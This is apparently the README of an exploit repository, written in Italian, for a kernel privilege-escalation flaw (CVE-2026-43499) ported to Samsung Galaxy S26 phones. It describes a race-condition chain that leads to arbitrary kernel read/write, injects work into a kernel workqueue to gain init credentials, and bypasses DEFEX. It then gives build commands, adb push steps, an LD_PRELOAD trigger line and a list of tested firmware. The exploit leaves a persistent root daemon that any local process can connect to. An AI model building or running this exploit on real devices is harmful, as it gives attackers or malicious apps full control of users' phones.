
GhostLock (CVE-2026-43499) per Galaxy S26
CVE-2026-43499 portato alla serie Samsung Galaxy S26 — Android 16 / GKI 6.12. Un solo binario, tre linee di kernel, corrispondenza dinamica dei parametri in fase di esecuzione: teoricamente copre l'intera serie S26 senza compilazione per build.
La maggior parte dei tentativi di porting di GhostLock prende di mira un singolo dispositivo o un singolo firmware. Questo repository è un porting nuovo che riscrive ogni meccanismo per il target S26 e si prevede che copra l'intera famiglia.
Mentre mantenevo snothin/CyberMeowfia, ho scoperto che il canale pipe physrw originale era instabile (tagliava la rete), quindi ho abbandonato quella strada ed esplorato alternative. Più tardi ho scoperto che monovibe era andato oltre lungo il percorso che stavo esplorando, ho adottato l'approccio e dopo ripetuti debugging questo repository ha preso forma.
uid=0(root) context=u:r:kernel:s0; shell
root persistente tramite su_daemon su un socket unix astratto.work_struct su
system_unbound_wq la cui funzione è call_usermodehelper_exec_work, così il kernel
esegue il nostro daemon con le credenziali di init. La protezione EL2 di KDP sulle pagine delle credenziali non viene mai
attivata.pselect + futex PI race
→ one aligned qword write per round
→ attr carrier (two fake misc fds)
controller fd retargets the data pointer
data fd reads/writes any kernel address
→ slide oracle (tracefs)
→ UMH root (workqueue injection)
system_unbound_wq
ptmx open/close storm wakes a worker
kernel execs daemon with init creds
→ DEFEX bypass (bind-mount)
→ su_daemon listens on /data/local/tmp/temp_su.sock
I parametri vengono associati per linea di kernel (tre linee: cn, intl, exynos), non
per singola build. Le build OTA sconosciute vengono ricondotte alla linea nota più vicina in base a modello
e CSC. I modelli completamente sconosciuti vengono rifiutati (fail-closed). L'elenco delle build
incorporato fa fede in exploit/src/params_table.c.
Vedi PORTING.md per i parametri necessari quando si effettua il porting su un nuovo
dispositivo o firmware.
Richiede Android NDK (r26+). Basta eseguire:
cd exploit
make preload
# produces build/bin/preload.so (exploit) and build/embed/su_daemon_aarch64_pie (embedded daemon)
Trasferisci preload.so, su_daemon_aarch64_pie e ksud sul dispositivo (esegui da una sessione adb
shell, uid 2000):
adb push exploit/build/bin/preload.so /data/local/tmp/
adb push exploit/build/embed/su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-root
adb push <ksud> /data/local/tmp/ksud
adb shell chmod 755 /data/local/tmp/cve-2026-43499-root /data/local/tmp/ksud
# Single attempt:
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so sh"
L'exploit è probabilistico (una race) e di solito richiede tentativi ripetuti. In una
esecuzione riuscita, su_daemon resta in ascolto su /data/local/tmp/temp_su.sock, e qualsiasi
processo locale può connettersi.
La protezione boot-claim (/data/local/tmp/ghostlock-boot.log) registra l'esito di
ogni boot; una seconda esecuzione dell'intera catena nello stesso boot viene rifiutata (può
mandare in crash il dispositivo). Cancella il file o imposta BOOT_FORCE=1 per ignorare.
exploit/src/kernelsnitch/)Questo repository è rilasciato sotto licenza Apache-2.0; vedi LICENSE per il testo completo e NOTICE per la provenienza del codice.
| Modello | Nome in codice | Build testate |
|---|
| SM-S942x (S26 Snapdragon) | m1q | S9420ZCS4AZG1, S942QOPU1AZDE, S942U1UES4AZG3, S942USQS4AZG3 |
| SM-S947x (S26+ Snapdragon) | m2q | S9470ZCS4AZG1, S947USQS4AZG3 |
| SM-S9480 (S26 Ultra CN) | m3q | S9480ZCS3AZF1, S9480ZCS4AZG1 (build testata) |
| SM-S948x (S26 Ultra) | m3q | S9480ZHS4AZG1, S948BXXS4AZG5/6, S948NKSS4AZG3, S948U1UES2AZE1, S948USQS4AZG3 |
| SM-S942B (S26 Exynos) | m1s | S942BXXS4AZG5 |
| SM-S947B (S26+ Exynos) | m2s | S947BXXS3AZF1, S947BXXS4AZG5 |